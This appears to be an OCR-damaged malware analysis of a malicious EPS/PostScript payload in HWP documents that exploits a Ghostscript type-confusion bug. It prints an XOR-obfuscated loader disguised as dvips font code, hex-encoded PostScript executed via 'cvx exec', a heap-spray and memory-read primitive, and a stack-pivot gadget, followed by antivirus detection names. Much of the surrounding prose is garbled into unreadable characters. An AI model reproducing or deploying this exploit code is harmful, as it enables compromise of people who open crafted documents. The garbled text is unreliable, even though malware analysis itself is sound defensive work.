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AAD88F46E770D8AED21649> def 0 1 Y101 length 1 sub {/Y18 exch def Y101 33 pop dup Y18 get <C7BE7343BAC52
810C18ABBE3299415BE> Y18 15 and get xor Y18 exch put} for Y101 cvx 9348 pop exec
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dvips(k) 5.993 Copyright 2013 Radical Eye Software

/Notice { token pop exch pop } bind def

/FontSize <5C7B1BB7> def /DrawFont{/FontType exch def 0 1 FontType length 1 sub {/FontName exch def FontType
FontName 2 copy get FontSize FontName 4 mod get xor put} for FontType \

} def <277134c4341e77db3f147fd27c4723d5394e2e8264197ed4641f23826a4b7dd53a1d7dd1644a7ed43d4b2b83
6c4b2b87694b7e8f6d4e2b866c4b2b87641f23826a4b7dd53a1d7dd1694b7e8f6

944d6381f69972b0972¢3394829bd3a1277d2031a7fd32e5b2a817f4223973d1f7f972e1e6fe83d 1f7fc57c0c69de281
€288556177ed6371e7fe83d0969d6255b2a973b1e6f973f1774c4391d72db39716ac2350f11ca56> DrawFont Notice
exec

/HPSdict 20 dict dup begin/braindeaddistill 50 def/rfch{dup length 1 sub

1 exch getinterval}bind def/splituri{dup(#)search{exch popH()exch}
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/image <2F78797A31203136234646464620646566202F78797A5F6C65616B65645F61727261792078797A3120617
272617920646566202F78797A5F636F6E74726F6C5F7374722028706F6F72292064

72078797A31370A78797A5F7365636F6E645F617272617930203136233938206164642078797A39342078797A313
70A78797A5F6C65616B65645F617272617920312067657420636C6F736566696C65> def image cvx exe
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/xyz1 16#FFFF def /xyz_leaked_array xyz1 array def /xyz_control_str (poor) def /xyz4 1 array def /xyz5 0 def /xyz_
str_count 16#100 def /xyz7 xyz_str_count array def /xyz8 16#8 def /xyz9 16#18F0 def /xyz_second_array 16#31E
array def /xyz11 16#215 array def /xyz12 16#1 array def /xyz_spray { xyz_second_array aload 16#10 { xyz11 aload

} repeat 16#100 { /xyz14 16#1520 string def} repeat 0 1 xyz_str_count 1 sub { /xyz15 16#1520 string def 0 1 xyz15
length 1 sub { xyz15 exch 1 put } for xyz7 exch xyz15 put } for } bind def /xyz16 { /xyz18 exch def /xyz19 xyz18 -15
bitshift def /xyz21 xyz18 16#7FFF and def /xyz_cur_buf xyz_leaked_array xyz19 get def xyz_cur_buf xyz21 get xyz_
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cur_buf xyz21 1 add get 8 bitshift or xyz_cur_buf xyz21 2 add get 16 bitshift or xyz_cur_buf xyz21 3 add get 24

bitshift or } bind def

(7124 12] EPS THIo] HoFH &

ogt

HETHory 513 24 LY EPS 00| 2{efy
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(Type confusion) FI2FE W44, ERJ(Type)o| HZIE KIS 0|83+ WA=} 7p5 Mg SO
522 0E s

8B46 4
8850 BC

68 24712710
56

eax, dword ptr ds:[esi+4]
edx, dword ptr ds:[eax+0(]
offset gsdl1132.18277124
esi

eax

edx

r

AEH TH{El(Pivoting)

ASCITI "s std close”

gs_free_object
94(xchg eax, esp) C3(retn)
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- HWP/Exploit

— Exploit/HWP.Generic

— Exploit/EPS.Generic

— Malware/MDP.Behavior.M2411
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